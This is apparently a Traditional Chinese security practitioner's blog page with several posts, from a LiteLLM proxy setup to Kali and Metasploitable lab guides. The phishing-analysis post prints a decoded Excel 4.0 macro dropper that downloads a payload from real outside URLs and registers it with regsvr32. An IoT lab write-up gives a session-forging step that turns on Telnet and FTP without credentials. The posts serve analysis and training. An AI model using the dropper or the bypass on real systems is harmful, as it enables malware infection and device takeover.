顯示具有 資訊技術 標籤的文章。 顯示所有文章
顯示具有 資訊技術 標籤的文章。 顯示所有文章

2026年7月11日 星期六

利用LiteLLM Proxy,讓Claude Code調用第三方AI模型

20260710-巴威颱風假

Claude Code原生僅支援Anthropic官方模型,若要調用第三方AI模型(本例為Gemini API),可利用「路由代理工具」,目前主流的開源專案有LiteLLMclaude-code-proxy 專案,這類路由工具會在本機啟動路由伺服器,將Claude Code發出的Anthropic式請求,翻譯成第三方模型的請求格式。本篇將採用LiteLLM執行路由代理。

Windows 安裝命令
d:\                                    安裝於D: 槽
mkdir LiteLLM_proxy                    建立安裝目錄
cd LiteLLM_proxy                       切換到安裝目錄
python -m venv myenv                   建立虛擬環境
myenv\Scripts\activate.bat             啟動虛擬環境(Linux用 source myenv/bin/activate
python -m pip install --upgrade pip    更新 pip
pip install "litellm[proxy]"           安裝 litellm_proxy
litellm --version                      檢查版本,並確認litellm可正常執行
建立CONFIG.yaml(路由設定檔)

建立CONFIG.yaml檔案(檔名可自定),定義如何將Claude模型名稱對應到Google Gemini:

model_list:
  # 當 Claude Code 呼叫 claude-3-5-sonnet 時,實際走 gemini-2.5-pro
  - model_name: claude-sonnet-5
  # 到https://platform.claude.com/docs/en/about-claude/models/overview
  # 查詢精確模型名稱
    litellm_params:
      model: gemini/gemini-3.1-flash-lite
      # 有關gemini api key能用的模型之真正名稱,請到
      # https://aistudio.google.com/app/rate-limit 的Tools區段
      # 尋找RPD欄位不是 0/0 的模型,如果模型名稱右邊有(i)符號者,
      # 請點此符號查看個別模型的名稱。調用模式時需用:[模型主名]-[板本]-[類型]型式,
      # 例如:Gemini 3.1 Flash Lite的調用名稱為 gemini-3.1-flash-lite。
      api_key: "os.environ/GEMINI_API_KEY
      # 可以使用 "os.environ/GEMINI_API_KEY" 由作業系統的環境變數提供>KEY,
      # 亦可直接填入 API KEY,為不同模型指定不同 API KEY
  # 定義呼叫Claude Code的 AI(例如>claude-3-5-haiku)時,   # 要轉發的對象(例如 gemini-2.5-pro)   
- model_name: claude-opus-4-8     litellm_params:       model: gemini/gemini-2.5-pro       api_key: "os.environ/GEMINI_API_KEY"     - model_name: claude-haiku-4-5     litellm_params:       max_tokens: 1500       model: gemini/gemma-4-31b-it       api_key: "os.environ/GEMINI_API_KEY"   general_settings:   user_auth_key_required: false   allow_requests_on_db_unavailale: true  # 即使 db 無法連線,亦傳送請求   litellm_settings:   drop_params: true     # 自動過濾掉 Gemini 不支援的 Anthropic 特有參數   model_alias_map:       # 可讓多個claude-模式對應到同一個gemini模式,以解決相同性問題     claude-haiku-4-5-20251001: gemini/gemini-3.1-flash-lite
router_settings:   fallbacks:             # 設定降級機制     - claude-opus-4-8: [claude-sonnet-5]   # Opus 失敗就降級到 Sonnet   allowed_fails: 3       # 允許模型連續失敗幾次後,將它暫時踢出可用清單   cooldown_time: 30      # 失敗的模型要被暫停多久(見上項)   enable_pre_call_checks: true
#
environment_variables:   # 亦可將環境變數設在此處   # OPENAI_API_KEY: "sk-proj-kq OpenAI API金鑰"   # ANTHROPIC_API_KEY: "sk-ant-ap Claude AI API金鑰"   # GEMINI_API_KEY: "AQ.Ab8 Gemini AI API金鑰" 
為AI模型提供API Key
要調用gemini模型,需要API KEY,有三種途徑可設定:
1. 直接在CONFIG.yaml的個別模型上設定(見上面CONFIG.yaml的註解)
2. 在 CONFIG.yaml的「environment_variables」區段統一設定(見上面CONIG.yaml的「environment_variables」區段,已先註解掉)
3. 使用作業系統的環境變數,上面CONFIG.yaml就是透過作業系統的環境變數提供。
 
Gemini的環境變數是GEMINI_API_KEY,至於設定方式,請依不同作業系統而設定之。
 
設定Claude Code的Base-URL
Claude Code預設連接Anthropic的模式,為了讓Claude Code透過LiteLLM Proxy調用第三方模型,需在作業系統設定下列二個環境變數:
ANTHROPIC_BASE_URL=http://localhost:4000/
CLAUDE_CODE_ENABLE_GATEWAY_MODEL_DISCOVERY=1
啟動LiteLLM Proxy
在Windows的命令提示字元或Powershell終端機執行下列指令:
d:\                                因安裝在 D: 槽,所換到 D:
cd LiteLLM_proxy                  >切換到安裝目錄
myenv\Scripts\activate.bat          啟動虛擬環境(Linux用 source myenv/bin/activate
litellm --config config.yaml

※   可以建立不同的CONFIG.yaml,依不同情境,在執行litellm指定不同CONFIG.yaml

LiteLLM啟動後畫面如下:
 
  • 工具調用(Tool Use / Function Calling)限制:Claude Code 極度依賴模型執行終端指令(如編譯、讀檔、寫檔)的能力。Gemini 雖然支援 Function Calling,但轉發過程中如果遇到複雜的架構,偶爾可能發生解析錯誤。建議優先使用 Gemini 2.5 Pro 或更高等級的模型來確保 Agent 運作順暢。
  • 無感切換:進入 Claude Code 介面後直接輸入 /model,便可看到轉發而來的 Gemini 模型選項,並自由切換。
啟動claude

完成各環境變數設定,且順利啟動litellm後,litellm會在 http://0.0.0.0:4000/ 接聽請求,接著啟動claude,下圖是claude透過litellm proxy調用gemini的情形。

由litellm的日誌訊息可發現,claude收到的回應來源是claude-sonnet-5,但真正回應此訊息的源頭是gemini-3.1-flash-lite。

2023年6月25日 星期日

Web Server開啟PUT / DELETE方法,真的危險嗎?

前言

RFC7231是http方法的實作建議文件,在第4節提到:

HTTP was originally designed to be usable as an interface to distributed object systems. The request method was envisioned as applying semantics to a target resource in much the same way as invoking a defined method on an identified object would apply semantics.

(HTTP的原始設計目標是作為分散式物件系統的操作介面,將請求方法當成操作指定物件的方式)。

而RFC7231中共提供八種http方法:

方法 說明
GET 傳送指定的資源(含回應標頭及狀態碼)
HEAD 類似GET,但傳送回應標頭及狀態碼
POST 按請求載荷,處理指定的資源
PUT 以請求載荷取代目標資源的內容(若目標資源不存在,則新增之)
DELETE 移除目標資源的當前內容
CONNECT 就處理的資源,在client和server之間建立連線通道
OPTIONS 指出目標資源可用的通訊選項
TRACE 沿著到達目標資源的路徑,執行訊息環回測試。

對於不會改變資源狀態的方法,被視為「安全」,如GET、HEAD、OPTIONS和TRACE

緣由

收過幾次滲透測試報告,指出:網站開啟OPTIONS、PUT、DELETE等方法(method),會讓駭客上傳後門、木馬,或者刪除重要檔案,屬高風險漏洞,必須關閉。事實真是如此嗎?心中一直存疑。滲透測試人員是否做過驗證程序嗎?還是看到網路上的報導,就人云亦云?會有這樣的見解,或許是因為早期Internet的目標資源是「檔案」形式。但現今,目標資源已衍生出多種形態,原本的不安全論點是否還適用?

從RFC7231的說明:

Unlike distributed objects, the standardized request methods in HTTP are not resource-specific, since uniform interfaces provide for better visibility and reuse in network-based systems [REST].  Once defined, a standardized method ought to have the same semantics when applied to any resource, though each resource determines for itself whether those semantics are implemented or allowed.

(與分散式物件不同,標準的HTTP請求並未限定特定資源,在網路體系(REST)裡,介面的一致性可更好理解和重複使用,儘管各個資源可以自行決定是否實作這些方法的功能或同意執行這些方法,但有了標準化方法,操作任何資源時,就不致於誤解意思。)

上面這段話並「沒有規定PUT/DELETE只用來操作檔案」。

行動

為此,在Git Hub上找到Tomcat源碼,從Tomcat預設DefaultServlet.java發現處理PUT和DELETE方法的邏輯,確實可以上傳及刪除指定的檔案。既然PUT和DELETE的功能可由Tomcat的預設Servlet來定義,表示開發者亦可重新定義這些方法,進而改變PUT和DELETE的處理邏輯,那麼,PUT和DELETE是不是真的不安全?就必要經過實際驗證,因此錄製一段影片,藉由修改PUT和DELETE的程式邏輯,證明PUT和DELETE不像一般滲透測試人員所言那麼地危險!

影片在:https://youtu.be/x85wiKm3JSg

2022年5月15日 星期日

社交工程事件調查

參與滲透測試小組好幾年了,第一次遇到真正的社交工程攻擊。

前天(2022/05/13)甫上班,同事就來電說他被釣魚了,叫我幫忙分析郵件裡的載荷。這位同事很機警,並沒有打開郵件,而是直接將它存成 .msgoutlook格式的郵件檔),我用Outlook的純文字模式開啟此封郵件,裡頭有一支Excel檔(.xls)。一下載此xls就被防載軟體砍掉,覺得有必要看看它有什麼機關?

EXCEL開啟此xls時,會出現停用巨集的安全性警告(圖1),表示裡頭有巨集,下意識就切到VBScript編輯環境,但沒有發現任何巨集、也沒有要求輸入保護密碼,心中疑惑重重!想起林易澍老師教過「OfficeMalScanner」可以分離出被保護的巨集,但執行結果是「No VB-Marco code found!」(圖2)。

圖1:出現安全性警告

圖2:OfficeMalScanner找不到巨集

再端詳此xls,發現只有一張試算表,上面就只有一張圖片,原本以為是想利用圖片騙人點擊,但查看圖片的屬性,也沒發現和巨集有關聯。無意中發現工作列左方的「名稱框」有蹊蹺(圖3),不管選哪一個名稱都不會跳到名稱所代表的儲存格,也就是說「有東西被隱藏起來」,再回到VBScript編輯環境,真的發現有張工作表,但試算表環境只能看到張(圖4)。

圖3:名稱卻找不到對應的儲存格

圖4:在VBScript編輯環境可看到被隱藏的工作表

回到試算表環境,在下方頁籤點擊滑鼠右鍵,一一將隱藏的工作表還原,真的有五張工作表吔!可是~~可是~~,在VBScript編輯環境只看到四張表,哦!少了一張,那一張應該就是關鍵了!上網搜尋,的確有人提到去除VBScript編輯環境裡的sheet之方法(但沒有說如何復原)。

復原的Vv1Vv2Vv3這三張工作表只是一些參考文字,重點在FRHJDJDI這張工作表上,這張也是在VBScript編輯環境被去除的工作表。

FRHJDJDI只在F10這一格有公式,它是利用Vv1Vv2Vv3三張表的內容兜成公式文字,再利用FORMULA()去執行,但FORMULA()並非Excel的內建公式,亦即它是攻擊者製作的巨集(VBScript),經分析,FRHJDJDIF10儲存格是要執行下列動作:

=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.itesmeitic.com/term/IFjx5ElE0ldr8wDDHjub/","..\wurod.ocx",0,0)
=IF(HRHRE1<0, CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.ingonherbal.com/application/PhEbceg4Tx/","..\wurod.ocx",0,0))
=IF(HRHRE2<0, CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ftp.colibriconstruction.net/cc/KHieqeOsagkmlGIuXc56/","..\wurod.ocx",0,0))
=IF(HRHRE3<0, CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://commune-ariana.tn/sites/3BvaCmo/","..\wurod.ocx",0,0))
=IF(HRHRE4<0, CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://dmaicinnovations.com/Swift-5.0.2/jEtePB/","..\wurod.ocx",0,0))
=IF(HRHRE5<0, CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://drcreative.cz/images/DwThyQntyImCHk0tpba/","..\wurod.ocx",0,0))
=IF(HRHRE6<0, CLOSE(0),)
=EXEC("C:\Windows\System32\regsvr32.exe ..\wurod.ocx")
=RETURN()

原來此xls是利用開啟活頁簿時,Excel自動計算公式的機制來執行惡意行為。從解析出來的公式,它會嘗試從六個來源下載木馬程式,只要有一個成功,就註冊成Active元件,至於這支惡意程式的功能還需等待逆向工程分析。另一個未解的問題是被去除工作表,有沒有方法可以將它回復?


後記:

感謝林易澍老師指導,原來這份檔案是使用Excel 4.0的巨集指令 (稱為xlm),自Excel 95起已棄用Excel 4.0的巨集指令,而已用VBA,但現行的Excel版本仍具備執行xlm能力。難怪找不出這份文件裡的vba程式碼,原來是我功力不足,找錯方向!

2020年11月7日 星期六

HITCON 2020 { IoT Hacking 101 }議程之 LV2題目的另類解法

今年的Hitcon 2020第一天Jimmy Liu老師主講「IoT Hacking 101」,主要是實作基礎的物聯網設備滲透測試!有關上課素材可從「https://github.com/DrmnSamoLiu/Hitcon-iot101」下載,上課簡報請參考素材包裡的DVIPcam_hitcon.pdf,在此假設您已事先閱讀並瞭此份簡報的內容。

參加此議題的同事於會後分享學習心得,而筆者事後練習時,又發現LV2(簡報22頁)有另一條啟用Telnet及FTP服務的途徑,借此做個筆記。

此題的網路攝影機預設只開啟端口443、554、8000,我們要想辦法辦啟動這台設備上的Telnet及FTP服務,即開啟端口23及21。

依照簡報內容,由於使用者未變更預設密碼,駭客可由使用手冊得知兩組登入帳密:「root / root」及「user / DVIPcam」,實際上,root的密碼已變更,無法直接以管理員身分登入管理界面,但user的密碼則未變更,駭客能夠經由提權而取得管理員權限,在瀏覽「System Configuration」頁面時啟用Telnet及FTP服務(簡報28頁)。好了,前述的滲透手法,簡報裡已寫得很清楚,這裡不再贅述。

但~~如果連user的預設密碼也被修改,有沒有「不需要網站的帳密就能開啟Telnet服務」的方法?這篇的手法就是了!

一、為了分析網站的原始碼,先從登入頁下載此設備的韌體更新檔(firmware.bin)。

二、利用7-zip開啟 firmware.bin,檢查 www/cgi-bin/ 目錄,注意readcookie.cgiConfig.cgiConfigsubmit.cgi這三個檔案。

三、檢查readcookie.cgi,發現呼叫此CGI時不會檢查是否已登入,且會將HTTP_COOKIE寫到/var/Allowed_SessionID,而Allowed_SessionID是判斷使用者有沒有登入的依據。我們就是利用此漏洞。

 四、檢視Config.cgi,發現它會載入 /var/web/Config.html,所以再檢視此網頁,發現它是用來設定FTP及Telnet開關,Submit的內容是Telnet=on/off&FTP=on/off,提交對象是「/cgi-bin/Configsubmit.cgi

 五、再檢視「Configsubmit.cgi」,發現此cgi並不會檢查權限,只要有session就可以成立。(剛剛的readcookie.cgi已可建立session)

 

經由上面分析,得知readcookie.cgi可以建立空seeeionidConfigsubmit.cgi可以設定Telnet及FTP服務,為了便於操作,此處使用Firefox示範。(192.168.232.139 是筆者電腦啟動LV2映象檔後的網址,請依個人環境修正

一、 在瀏覽 https://192.168.232.139/cig-bin/readcookie.cgi,會得到如下結果,重點在於session is 的內容是空的

二、啟用 FireFox的開發者模式,切換到「網路」頁籤。

三、瀏覽https://192.168.232.139/cig-bin/Configsubmit.cgi,出現404是正常的。 

四、從「網路」頁籤的網址清單中選擇剛剛請求的Configsubmit.cgi,然後點擊右方的「重新發送」下拉選單,並選擇「編輯並重新發送」項目。

五、將方法改成「POST」,並在請求內容中貼上「Telnet=on&FTP=on」,然後「傳送」。

六、查看回應結果,FTP及Telnet已經打開。

假設您已按照簡報30頁的方法執行暴力破解,應該已得到作業系統的 admin / Administrator 這組帳密,可以利用telnet操控這台設備了!

2020年7月21日 星期二

天下文章一大抄,你錯我錯一起叫!

個人習慣將資料做三個複本,每月另備到庫存硬碟,因此不太在意勒索病毒。恰好前些日子機關舉辦資安意識講座,講師提到最近有一支勒索病毒利用作業系統的漏洞,可以避過防毒軟體的查殺,病毒使用的技術叫「RIPlace」。這個技術引起我的興趣,上網搜尋發現有大量文章報導這支病毒,基於公務員的潛意識,首先瀏覽技服中心的資安新聞,結果~~是我國學有問題?還是眼睛業障重?我真的看不懂這段中文字「(3)將原始檔案存入硬碟,透過Rename功能置換原始檔案」,原始檔案不就在硬碟中,幹嘛還要「將原始檔案存入硬碟」?然後還「透過Rename功能置換原始檔案」,自己換掉自己,又是什麼道理?
技服的頁庫存檔
還好文章底下有英文參考來源, 連到www.nyotron.com看看(這個漏洞是它找到的),原文是「3.OR saving encrypted file to disk, then replacing it with the original file using the Rename operation.」:
nyotron
用Google翻譯這段英文的結果:「將加密的文件保存到磁盤,然後使用重命名操作將其替換為原始文件」,這中文的前段是對了,後段還是怪怪的,「使用重新命名的方式將它換成原始檔案」,這樣加密後的內容不就又回到原來的樣子,是要勒索誰呀!
因此我推斷應該是作業系統有個漏洞,將加密檔案的名稱換成原始檔案的名稱時(是替換檔名,不是替換檔案),作業系統不會檢查兩支檔案使用相同名稱,因此加密檔案存活下來,而原始檔案變成無主野鬼。至於原始檔案的內容是繼續留在原位置,還是加密檔案會因更名成功而覆蓋原始檔案本來的位置,我就不確定了!
後來又找到另一個英文網站,不僅提供更詳細的介紹,還畫出流程圖, 有關RIPlace的介紹,它就提到「Writing the encrypted data from memory to new file and then using the Rename call to replace the original file.」(將加密的數據從內存寫入新文件,然後使用“重命名”調用替換原始文件),這樣看起來就合理多了!
bleepingcomputer

7月21日再上技服網站,這篇新聞已經修正了。
技服資安新聞

在發現技服的資安新聞有疑問後,繼續查詢其他資安網站的內容,真的「天下文章一大抄」大家都錯一樣。詳如後面的截圖。本篇沒有特別用意,只想傳達「盡信書不如無書」,只要覺得不合常理,就該大力懷疑!









2020年3月28日 星期六

拿回Kali的ROOT主控權

Kali Linux 滲透測試工具(第三版)-第2章「安裝Kali Linux」補充說明 」提到,2020年的Kali預設不提供 root 登入,在使用一段時間後,發現執行滲透測試,沒有 root 權限很不方便,決定要拿回 root 權限!如果你也有這個需求,可以參考本篇內容。
一、為root重設密碼
按照正常程序登入系統,重設root密碼。
kali@kali2020A:~$ sudo passwd root
New password:                                            輸入新密碼,輸入時是看不到內容的
Retype new password:                               輸入確認密碼,輸入時是看不到內容的
passwd: password updated successfully             看到這段字,表示密碼設定成功

如果正常程序無法修改root密碼,請改用下面方式:
1. 重新開機,在出現啟動選單時按下「e」鍵 ,進入GRUM的開機程序腳本編輯畫面。
2. 找到「link  /boot/...」這一列,將中間的「ro」(唯讀)改成「rw」(讀寫),並在這一列的最後面加一個空格,然後輸入「init=/bin/bash
3. 完成開機腳本修改後,按Ctrl+x繼續啟動作業,此時會進入root的單人作業模式。
4. 在終端機執行passwd
kali@kali2020A:~$ passwd
New password:
Retype new password:
passwd: password updated successfully

二、修改root密碼只是為了得到密碼資訊,當開機後,確實可以用root登入純文字終端機,卻依然無法登入X-window,請用nano或vi編輯「/etc/pam.d/gdm-password」,將「auth  required        pam_succeed_if.so user != root quiet_success」這一列註解掉,存檔後,重新開機。
#%PAM-1.0
auth    requisite       pam_nologin.so
# auth  required        pam_succeed_if.so user != root quiet_success   (註解此列)
@include common-auth
auth    optional        pam_gnome_keyring.so
@include common-account

三、大功告成!
現在無論純文字終端機,或x-window都可以用 root 身分登入了!

2020年1月4日 星期六

如何建置metasploitable 3虛擬機

筆者在2016年曾寫了一本「Metasploitable|白帽駭客新兵訓練營」,以Metasploitable 2作為練習標的, Metasploitable 2是以虛擬機映像檔方式發行,很容易部建於VMWare或VirtualBox,然而,RAPID7在2016年底釋出Metasploitable 3,但這一次並非直接以虛擬機映像檔方式發行,而是提供一些腳本,再由使用者自行建置,有關建置說明可以參考:https://github.com/rapid7/metasploitable3,筆者參考這份說明,卻還是撞了滿頭包,原以為過一段時間就會有人釋出包裝好的映像檔,但網路上搜尋許久,都是自建教學文章,筆者照著文章作,依然處處碰避,最近正好有個工作空檔,可以好好靜心實作,發現原來自建,其實很簡單,特將操作步驟記錄下來。 
一、先確認電腦啟用(支援)VT-x或AMD-V,不然執行到後段才出現映像檔建立失敗,會浪費不少時間。
二、Powershell版本至少3.0
筆者是在Windows 7上建置,Win7原本的Powershell版本只支援2.0 ,必須先升級到3.0才可順利執行建置程序。
開啟Powershell後,可先執行「 $psversiontable」查看目前支援的版本,若版本未達3.0,可至
https://www.microsoft.com/en-us/download/details.aspx?id=34595下載並安裝 Windows6.1-KB2506143-x64.msu(或 Windows6.1-KB2506143-x86.msu
三、搞定Powershell後,接著安裝VirtualBox,但建置工具vagrant目前對VirtualBox的支援只到5.2.X版,若電腦是安裝VirtualBox 6.x版,vagrant無法順利執行。筆者是安裝VirutalBox 5.2.34及其擴充套件,VirtuaBox安裝好之後,請關閉VirtuaBox管理界面。
四、安裝vagrant
https://www.vagrantup.com/docs/installation/下載vagrant安裝檔(vagrant_2.2.4_x86_64.msi),vagrant安裝後會自動將「安裝路徑\bin」(例如D:\HashiCorp\Vagrant\bin)加到PATH環境變數。
五、安裝Packer
https://www.packer.io/intro/getting-started/install.html下載packer_1.5.1_windows_amd64.zip,這壓縮檔裡只有一支packer.exe,將它壓縮到vagrant安裝路徑下的bin目錄裡,就樣就不用特別為packer設定PATH環境變數。
六、啟動powershell,然後執行:

d:                              #筆者在 D: 槽操作,也可選擇其他有足夠空間(65GB)的磁碟
vagrant plugin install vagrant-reload         #安裝vagrant的插件
mkdir metasploitable3-workspace               #建立工作目錄
cd metasploitable3-workspace                  #切換到工作錄中

Invoke-WebRequest -Uri "https://raw.githubusercontent.com/rapid7/metasploitable3/master/Vagrantfile" -OutFile "Vagrantfile"                    #下載所需的組態檔
七、接在步驟六之後,執行下列指令即可建立metasploitable 3虛擬機。
vagrant up ub1404      ##建立ubuntu版的metasploitable 3
##  或者
vagrant up win2k8      ##建立win2008版的metasploitable 3
執行vagrant up win2k8或vagrant up ub1404之後是漫長的等待,請保持耐心!
註:
 vagrant up ub1404 會從網路下載ubunt所需的.iso檔,大概要花2至3小時
 vagrant up win2k8 會從網路下載win2k8所需的.iso檔,依照下載速度,大概要花5至6小時
(實際時間視網路狀況而定,筆者在建立 win2k8時,曾因網路不穩而中斷)
最後看到
     ub1404: This is not an error message; everything may continue to work properly, in which case you may ignore this message.
==< ub1404: Setting hostname...
==< ub1404: Configuring and enabling network interfaces...
即表示ubuntu版的metasploitable 3建置完成,此時會看到VirtualBox被自動啟動「Metasploitable3-ub1404」虛擬機。
若執 vagrant up win2k8,看到下列訊息,即表示Win2K8的Metasploitable 3建置完成:
==> win2k8: Running provisioner: shell...
     win2k8: Running: inline PowerShell script
     win2k8: CMDKEY: Credential added successfully.
     win2k8: System error 67 has occurred.
     win2k8: The network name cannot be found.
==> win2k8: Running provisioner: shell...
     win2k8: Running: inline PowerShell script
PS D:\metasploitable3-workspace>
上述兩部VirtualBox虛擬機,若想移植到VMWare上,可由VirtualBox的「檔案-> 匯出應用裝置」,匯出成「*.ova」,再由VMWare匯入即可產生VMWare虛擬機!
 不論 ubuntu或Win2K8,登入帳密皆為  vagrantvagrant
註:若不打算自己動手做,筆者在 https://drive.google.com/open?id=1UgI6RR2YOIV1NvqDsAxYz19-DpQOPaJi  提供 Ubuntu的metasploitable 3的OVA檔。
至於Win2K8metasploitable 3因涉及作業系統版權問題,不方便提供!

2019年12月15日 星期日

新作「Kali Linux滲透測試工具 第3版」已於2019/12/25上市

筆者在2015年11月配合Kali由1.x改版為2.0,也改寫「Kali Linux滲透測試工具 第2版」,承蒙各位同好不棄。歷經過4年後,Kali依然維持第2版,但收錄的工具卻改變不少,因此,在2019年5月依據Kali 2019.2版,再次改寫本書內容,在進行初稿校正時,Kali又發布2019.3版,所以本書的內容是融合Kali 2019.2及2019.3。
本次改版內容包括:強化暴力破解技法修正部分工具在Kali環境無法運行的問題(包括:ghost phisher、theharvester、huntersearch、clusterd、beef)、改寫metasploit 5用法增加藍牙滲透測試專章更多的Wifi工具一套IPv6工具組,當然也取消部分罕用的內容。不可諱言,前一版的內容也有一大部分被保留下來,畢竟部分工具雖然改版,但用法並未改變。
另一項改版重點是:Kismetrecon-ng,這兩套工具的前、後版本,在操作上有很大差異,本書同時介紹這兩套工具前、後版本的差異及使用說明。
本書在下列書局有售:
天瓏圖書
博客來
金石堂
誠品

「Kali Linux滲透測試工具」並非入門書,打算進入滲透測試領域的新手,建議先從筆者另一本著作「網站滲透測試實務入門 第二版」切入,這是一本以Web為滲透對象的入門書籍。

如果對nmap有興趣,想要更深入應用nmap掃描技巧及NSE腳本功能,可以參考「資安專家的nmap與NSE網路診斷與掃描技巧大公開」這本nmap應用專書。

若讀者利用Metasploitable做為自我練習環境,也可以參考「Metasploitable|白帽駭客新兵訓練營(電子書)」,裡面介紹諸多Metasploitable 2裡的漏洞之攻擊方式。

2018年5月12日 星期六

解決tomcat上 X-Frame-Option及X-XSS-Protection未設定的問題

最近剛上了一個JSP開發的系統,部署在tomcat 8.5上,被本機關滲透測試團隊發現兩項表頭未設定,被列為中風險,分別是「X-Frame-Options」及「X-XSS-Protection」,如果在IIS,這很好處理,只要在「HTTP回應標頭」裡加兩項設定就可以解決。但從網路上找到的tomcat上解決方案大多要自己寫filter,其實tomcat自7.0.63版以後,也可以透過web.xml來設定,只要在web.xml加入:
filter>
   <filter-name>httpheadersecurity</filter-name>
   <filter-class>org.apache.catalina.filters.HttpHeaderSecurityFilter</filter-classinit-param>  
       <param-name>antiClickJackingOption</param-name>  
       <param-value>SAMEORIGIN</param-value>  
   </init-paramasync-supported>true</async-supported>
</filter
filter-mapping>
   <filter-name>httpHeaderSecurity</filter-name>
   <url-pattern>/*</url-pattern>
   <dispatcher>REQUEST</dispatcher>
</filter-mapping
當啟用 httpHeaderSecurity 的filter後,預設是將X-Frame-Options=DENY加到回應標頭,但因我的系統需要用iframe內嵌同一網站的頁面,所以要自己加:
init-param>  
    <param-name>antiClickJackingOption</param-name>  
    <param-valueSAMEORIGIN</param-value>  
</init-param
才能將X-Frame-Options的值改成SAMEORIGIN,要注意哦!param-nmae是用antiClickJackingOption(注意大小寫),不是X-Frame-Options
不過httpHeaderSecurity只能設定幾種標頭,不像IIS的「HTTP回應標頭」可以隨便設,如果你想要設定任意標頭,只好自己寫filter,這裡提供個鏈結供參:
https://stackoverflow.com/questions/38195273/how-to-set-x-frame-option-in-tomcat

2018年4月19日 星期四

書甫上市 緊急更正

感謝幾位朋友指正,書中有一些錯誤或疏漏,也請大家更正:
  1.  30頁倒數第4列「例如以UPD封包...」,應該是「UDP」才對。
  2.  31頁第7列「ICM code 3 type 13」漏了一個字母 P,應該是「ICMP code 3 type 13」才對。這裡筆者並沒有列出所狀況,也有可能收到其他不可達的訊息,千萬不要以為只會收到code 3 type13。
  3.  31頁倒數第4列「close|filtered」少打了一個字母d,應該是「closed|filtered」才對
  4. 22頁提到「nmap -A 192.168.100.10可改寫為nmap -A -Pn -sn -p80 192.168.100.10」 經網友指正,使用-A 或 -O 一定要掃描,所以要將「-sn」要拿掉。
    筆者的原意是想說明nmap各處理階段的目的,卻引例不當,建議相關文字修正為(紅字為修正部分):
    單單就上面所提的兩條基本命令就涉及:主機發現(Ping)→端口探測(掃描)→服務識別→作業系統識別→報告產製,每個步驟都有一些控制選項,譬如Web網站都能正常提供瀏覽,表示該主機是存活,而且端口80(或443)是開放狀態,那麼就不必執行主機發現和端口探測(僅指80或443),因此命令:
    nmap -A 192.168.100.10
    理論上就可以改成
    nmap -A -Pn -sn -p80 192.168.100.10
    上述命令中的-Pn是指不執行ping(跳過主機探索步驟)、-sn是指不掃描端口、-p80是限定後續的處理對象是端口80。讀者注意,指示ping作業是大寫的-P,指定掃描端口是小寫-p,千萬不要混淆了。
    上面提到理論上是因為-O選項(-A隱含-O功能)一定要搭配-sS、-sT、-sF或其他掃描選項,所以在使用-A或-O選項時,上式的-sn會造成錯誤。這裡舉例的目的只是想告訴讀者nmap各處理階段的目的。
  5. 感謝小偉讀者告知,書中1.4節(第7頁)提到「縮寫術語全稱中英文對照表」,因筆者疏忽,未隨書附上,茲將此對照表置於「https://drive.google.com/file/d/1zZqx0sw8tZWWGCxuSqXa9aPPLeNvkQfU」,請讀者下載使用,也在此向讀者致歉!
資安專家的nmap與NSE網路診斷與掃描技巧大公開》是敝人最新拙著,但因寫稿時誤繕,校對時又眼花,造成致命的錯誤,特此向讀者道歉,並緊急更正
這項錯誤就發生在24頁最上頭,要麻煩讀者用立可白將式子中的逗點(,)給點掉。造成您的困擾,真的真的~~很抱歉!

平常掃描一台或一個區段主機時,很難注意到這個錯誤,如果是分散主機就會發現語法問題,當一次要掃描分散的主機時,主機位址之間是用空格分隔,而不是逗號,這和掃描多組端口不同,多組端口是用逗號分隔,而且彼此間不能有空格,正確的用例如下:
nmap 192.168.7.5 192.168.7.151 10.25.4.3 8.8.8.8 -p 25,80,443 -A -V
若您已經買了這本書,只好麻煩您自行更正書中的錯誤,也再次說抱歉!
若您打算購買,可以到下列書局看看:

2017年10月29日 星期日

HP 14-bs038TX容量擴充:16GB+3顆硬碟

朋友因為便宜,就在Yahoo商城買了一臺HP的筆電,這臺筆電沒有型號,但經比對其規格可能是14-bs038TX,規格表顯示內置4GB記憶體,但最大可加到16GB,就找我幫忙加記憶體,打開外殻後,發現還有一組M.2 2280 的SATA SSD槽,就建議他再加裝SSD,本文是改裝的過程。
請注意!改裝機器,可能喪失保固權益,本文只提供改機參考,若因些造成任何損失,請讀者自負,改機前請先三思!
一、手術工具:十字起子一支、吉他彈片一片,請不要用一字起子來拆卸外殻,不然會讓外殼留下明顯痕跡。
二、換到背面,可看到7顆螺絲,還有兩顆被電池擋住了。
三、卸下電池就可以看到另兩顆電池,只要將電池旁的黑色卡榫向內擠推就可以卸下電池。

四、後背中央的螺絲除了鎖背蓋,還兼固定光碟機的功用,要先旋下這顆螺絲才能抽出光碟,光碟卸下後,背蓋才有辦法撬下來。
五、將9顆螺絲旋下後,依位置擺好,尤其兩顆短螺絲要注意。
六、旋下螺絲後,用彈片小心將背蓋撬開,撬的時候可以先來光碟機孔和電池座的位置下手,那些地方比較軟,容易撬開,然後再用滑行方式撬開背蓋。
 
七、打開背蓋後,可看到兩個記憶體插槽 ,其中一個空著,另一個已經插一支4G記憶體,在記憶旁邊還有2nd SSD的位置(本張照片是後來補拍,已經換上兩支8G的記憶體)
購買SSD時要注意規格,它只支援 M.2 2280(22是卡的寬度,80是卡的長度),
八、擴充完成後,開機時按下 Esc鍵進入設定選單,從系統資訊可看到記憶體已經有16G了
九、我是選用「美光Micron Crucial MX200 250GB M.2 2280 SATA 固態硬碟」,產器包裝含有Acronis的True Image的序號,只要按說明書就可以下載安裝中文版的True Image。
安裝True Image後,原本以為直接利用「複製磁碟」功能就可以將硬體上的作業系統轉移到SSD,但按指示重開機都會卡住,後來改用「RECUSE MEDIA BUILDER」先將True Image轉製成可開機USB碟,再利用USB開機,才順利將硬碟上的 Win10 轉到 SSD。
十、不要以為移轉後就能順利開機,True Image在移轉後會將SSD改成C:,可是BIOS還是優先從HDD開機,因此要先調整開機順序,讓BIOS優先從SSD開機。
十一、至此已經完成記憶體擴充及SSD加裝作業。
十二、用了兩天之後,朋友問我:筆電用到光碟機的機會不多, 可否將光碟換成硬碟,其實這不難,只要買個轉接盒就可以辦到了,只是要注意轉接盒的高度分 12.7mm和9.5mm兩種,這臺筆電是用9.5mm。

原本是換一顆舊的250G硬碟,但發現轉動時抖動很大聲,後來朋友自己帶來一顆新的1TB,
